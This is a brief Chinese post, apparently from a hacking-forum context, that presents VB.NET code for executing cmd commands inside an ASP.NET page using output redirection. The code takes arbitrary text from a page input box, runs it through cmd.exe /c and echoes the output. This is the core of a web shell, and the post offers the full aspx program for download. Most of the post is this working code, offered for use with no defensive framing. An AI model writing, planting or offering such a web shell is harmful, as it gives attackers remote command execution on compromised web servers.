以前写过一篇文章叫《asp.net环境下的cmd命令执行》;
那个帖子最早是发在安全焦点和幻影旅团论坛。后来幻影有个叫老凯的回帖说可以利用输出重定向而无需临时文件,lake2也成功了。
这里就给出基于VB.net的核心代码:
引用:
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo("cmd.exe")
myProcessStartInfo.UseShellExecute = False
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments="/c " & Cmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
result.text=Cmd.text & vbcrlf & "" & mystring & "
"
这里是利用了New ProcessStartInfo类,具体请参考.net文档
完整的aspx程序可以在点击这里下载